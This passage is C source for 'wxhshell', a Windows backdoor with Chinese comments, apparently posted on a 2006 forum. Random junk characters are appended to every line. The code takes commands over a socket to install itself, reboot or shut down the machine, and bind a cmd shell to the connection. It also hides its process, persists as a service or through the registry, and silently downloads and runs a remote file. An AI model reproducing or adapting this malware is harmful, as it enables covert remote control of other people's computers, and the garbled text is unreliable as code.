  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CNut{4  
  } Zotz?j VVr  
  else { >W'j9+Va  
GOGt?iw*<  
    switch(cmd[0]) { >&BrCu[u  
  y $:yz;  
  // 帮助 zEy&4Kl{+  
  case '?': { _Aa[?2 O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mn. `qfMh  
    break; 3a'q`.L  
  } a~WqUL  
  // 安装 G OpjRA@  
  case 'i': { Po> e kz_E  
    if(Install()) o"RJ.w:dn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z #EvRC  
    else 9x(}F<L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ dGO,ndE  
    break; [KMS<4t'  
    } C(s\LI!r  
  // 卸载 w}d}hI  
  case 'r': { P Q,+hq  
    if(Uninstall()) r]9e^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TaOOq}8c#  
    else )Lb72;!?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8\DME  
    break; w$b~x4y%  
    } 0F^]A"kF  
  // 显示 wxhshell 所在路径 aRX  
  case 'p': { 3x![ 8 x  
    char svExeFile[MAX_PATH]; )6G" *  
    strcpy(svExeFile,"\n\r"); P&mtA2  
      strcat(svExeFile,ExeFile); m*gj|1k  
        send(wsh,svExeFile,strlen(svExeFile),0); ^1.7Juvb  
    break; $:e)$Xnn-  
    } ?s%v 3T  
  // 重启 dsK/6yu  
  case 'b': { +lKrj\Xj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +5-]iKh  
    if(Boot(REBOOT)) XoJgs$3B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Dayv6g  
    else { Ih()/(  
    closesocket(wsh); Yq J]7V\  
    ExitThread(0); \BUqDd!  
    } R>*g\}9Zh3  
    break; & N;pH  
    } EX4 C.C|d  
  // 关机 l&3ki!  
  case 'd': { PRwu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z>|)ieL  
    if(Boot(SHUTDOWN)) "c,!vc4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tn{8u7  
    else { }'TTtV:Q  
    closesocket(wsh); =5Wp&SM6  
    ExitThread(0); |YRY!V_w  
    } 2A>C+Y[7\  
    break; fe';b[q)#  
    } 3%2jwR  
  // 获取shell SF^x=[ir  
  case 's': { .EG* +,  
    CmdShell(wsh); odpUM@OAW  
    closesocket(wsh); E+z18Lf?  
    ExitThread(0); =53b Lzr  
    break; pqeL%="p;  
  } .gq(C9<B[  
  // 退出 <5I1DF[  
  case 'x': { LE K/mCL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0 I @$ 0Gg  
    CloseIt(wsh); ]26mB  
    break; <m0{'xw  
    } Oqmg;\pm  
  // 离开 U*qNix  
  case 'q': { sMm/4AY]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7@IFp~6<qK  
    closesocket(wsh); T(V8; !  
    WSACleanup(); s^cc@C  
    exit(1); .H2qs{N!  
    break; FCiq?@  
        } w" JGO  
  } zKxvN3!  
  } .LObOR 5J7  
h@@d{{IqT  
  // 提示信息 *NlpotW,f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <s}|ZnGE   
} 3Z1OX]R  
  } W' ep6O  
J$QBI&D  
  return; hiwIWd:H  
} Gs_qO)~xo  
#Qd' + M  
// shell模块句柄 k" YHsn  
int CmdShell(SOCKET sock) !| xZ6KV  
{ 4LsHs   
STARTUPINFO si; ) * TF"  
ZeroMemory(&si,sizeof(si)); 9U^$.Lb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $O9Xx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k_?~<vTM  
PROCESS_INFORMATION ProcessInfo; Hbk&6kS  
char cmdline[]="cmd"; FJT1i@N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XsUUJuCG  
  return 0; /.P9MSz0G  
} x2k*| =$  
BS7J#8cu  
// 自身启动模式 <uD qYT$6  
int StartFromService(void) aD ESr?  
{ .oR3Q/|k]  
typedef struct V7C1FV2  
{ :6lwO%=F  
  DWORD ExitStatus; /K|:9Q$K6  
  DWORD PebBaseAddress; %!y89x=E  
  DWORD AffinityMask; VE]6wwV2  
  DWORD BasePriority; TJOvyz`t  
  ULONG UniqueProcessId; jK3\K/ob(  
  ULONG InheritedFromUniqueProcessId; &g0g]G21*I  
}   PROCESS_BASIC_INFORMATION; :#$F)]y'\  
Z^# ]#f  
PROCNTQSIP NtQueryInformationProcess; ^VI,C|  
XlkGjjW#/J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bRPO:lAy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TvQ^DZbe  
!;dSC<   
  HANDLE             hProcess; F P@qh  
  PROCESS_BASIC_INFORMATION pbi; DZs^ 2Zc  
i8~$o:&HT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \H4U8)l  
  if(NULL == hInst ) return 0; ~HmxEk9  
73 V"s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Hy ~i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XoItV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VVuR+=.&  
P`TIaP9%E  
  if (!NtQueryInformationProcess) return 0; +xj "hX>3  
IgM v =^U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yC !/PQ"  
  if(!hProcess) return 0; %idk@~HCg  
0@pu@DP~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hz\WZ^  
/\E [  
  CloseHandle(hProcess); t1ze-Ht;  
!M;A*:-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jG D%r~lN  
if(hProcess==NULL) return 0; (}gcY  
_%ZP{5D>  
HMODULE hMod; <I2z&  
char procName[255]; <>=mCZ2  
unsigned long cbNeeded; ]V<-J   
4D"4zp7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6)[< )?A.[  
#3MKH8k&~  
  CloseHandle(hProcess); 6sB$<#  
, 2`~ NPb  
if(strstr(procName,"services")) return 1; // 以服务启动 H}nJbnU  
HZZDv+  
  return 0; // 注册表启动 nl n OwyMJ  
} #w>~u2W  
9.&mz}q  
// 主模块 f z}?*vPW  
int StartWxhshell(LPSTR lpCmdLine) "!L kp2\  
{ :a3 xvN-l  
  SOCKET wsl; G7-!`-Nk  
BOOL val=TRUE; - k`.j  
  int port=0; Gt~JA0+C)7  
  struct sockaddr_in door; nQ=aLV+'  
qLjT.7 .x  
  if(wscfg.ws_autoins) Install(); z%:&#1)  
uLVBM]Qj  
port=atoi(lpCmdLine); AyVrk 8G  
!wh&>3~  
if(port<=0) port=wscfg.ws_port; 'fY9a(Xt.  
#a,9B-X  
  WSADATA data; ({[,$dEa;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V'StvU  
-Mf Q&U   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z"379b7cN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $<w)j!  
  door.sin_family = AF_INET; =u|~ <zQw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9DE)S)e8  
  door.sin_port = htons(port); ::"E?CQLV  
i@zY9,b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MYdx .NZT  
closesocket(wsl); zxKCVRJ  
return 1; %}b8aG+  
} ;/sHWI f+Z  
QxpKX_@Q5  
  if(listen(wsl,2) == INVALID_SOCKET) { YYUe)j{T  
closesocket(wsl); #Ufo)\x  
return 1; )^/0cQcJ  
} fgCT!s7z  
  Wxhshell(wsl); `\b+[Nes  
  WSACleanup(); {THqz$KN  
|y1;&<  
return 0; GAl+Zg##  
: F9|&q-W,  
} bQQVj?8jp  
'6S%9ahE  
// 以NT服务方式启动 jv&+<j`r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~&g a1r2v?  
{ q#[`KOPV  
DWORD   status = 0; .  /m hu  
  DWORD   specificError = 0xfffffff; (3%t+aqq  
-:`V<   
  serviceStatus.dwServiceType     = SERVICE_WIN32; |~e?,[-2`r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4/*q0M{}B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rVzI_zYqp'  
  serviceStatus.dwWin32ExitCode     = 0; )#[|hb=o  
  serviceStatus.dwServiceSpecificExitCode = 0; t9u|iTY f!  
  serviceStatus.dwCheckPoint       = 0; 3,6Ox45  
  serviceStatus.dwWaitHint       = 0; $H*/;`,\[  
-=5)NH t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .j?kEN?w  
  if (hServiceStatusHandle==0) return; #n7Yr,|Z  
p^X^1X7  
status = GetLastError(); x"\qf'{D  
  if (status!=NO_ERROR) pP.'wSj  
{ DW2>&|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4v.d-^  
    serviceStatus.dwCheckPoint       = 0; 3 ^}A %-bS  
    serviceStatus.dwWaitHint       = 0; fx?$9(r,  
    serviceStatus.dwWin32ExitCode     = status; (bm;*2  
    serviceStatus.dwServiceSpecificExitCode = specificError; u"+}I,'L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m5-9yQ=.  
    return; ]gP5f@`  
  } >.DC!QV  
2{oThef[O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tT5pggml  
  serviceStatus.dwCheckPoint       = 0; *g$i5!yM'  
  serviceStatus.dwWaitHint       = 0; S; /. %  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d3^7ag%  
} YfDWM7x7,  
jw>h k  
// 处理NT服务事件,比如:启动、停止 jk7 0u[\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S/gm.?$V  
{ E*CcV;  
switch(fdwControl) ]U_ec*a  
{ ^T079=$5  
case SERVICE_CONTROL_STOP: 4gZ &^y'  
  serviceStatus.dwWin32ExitCode = 0; OW5t[~y]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; id,NONb\  
  serviceStatus.dwCheckPoint   = 0; Ge \["`;i  
  serviceStatus.dwWaitHint     = 0; 6 /Y1 wu  
  { /q1s;I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .-]R9KjR1J  
  } !I8f#'p  
  return; @x{`\AM|%  
case SERVICE_CONTROL_PAUSE: j43$]'-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G0d&@okbFC  
  break; ?F@%S3h.  
case SERVICE_CONTROL_CONTINUE: ' Q7Y-V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8Y{s;U0n  
  break; kiUk4&1  
case SERVICE_CONTROL_INTERROGATE: pIO4,VL;W  
  break; T>d.#  
}; 1FERmf? ?d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o0I9M?lP  
} I:=dG[\h2  
sYn[uPefj  
// 标准应用程序主函数 ls|LCQPx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 82:Wvp6  
{ x` /)g(  
:tj-gDa\Y  
// 获取操作系统版本 Qn+:/ zA;  
OsIsNt=GetOsVer(); b2) \ MNH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7P**:b  
<$i4?)f(  
  // 从命令行安装 <bUe/m  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,+1m`9}  
r<R4 1Fz  
  // 下载执行文件 w{,4rk;Hr  
if(wscfg.ws_downexe) { f =s&n}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mr3-q  
  WinExec(wscfg.ws_filenam,SW_HIDE); MC!ZX)mF  
} UY>v"M  
9 [Y-M  
if(!OsIsNt) { C"eXs#A  
// 如果时win9x,隐藏进程并且设置为注册表启动 QMp r v*i  
HideProc(); ]r/^9XaqtA  
StartWxhshell(lpCmdLine); p]&j;H.  
} wij,N(,H  
else GjT#%GBF  
  if(StartFromService()) FN87^.^2S  
  // 以服务方式启动 MDO$m g  
  StartServiceCtrlDispatcher(DispatchTable); ^v ni&sJ  
else wEEn?  
  // 普通方式启动 WFv!Pbq,  
  StartWxhshell(lpCmdLine); ,.mBJ SE3  
+t!S'|C  
return 0; 0kDBE3i#  
}
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只看该作者 1 发表于: 2006-10-10
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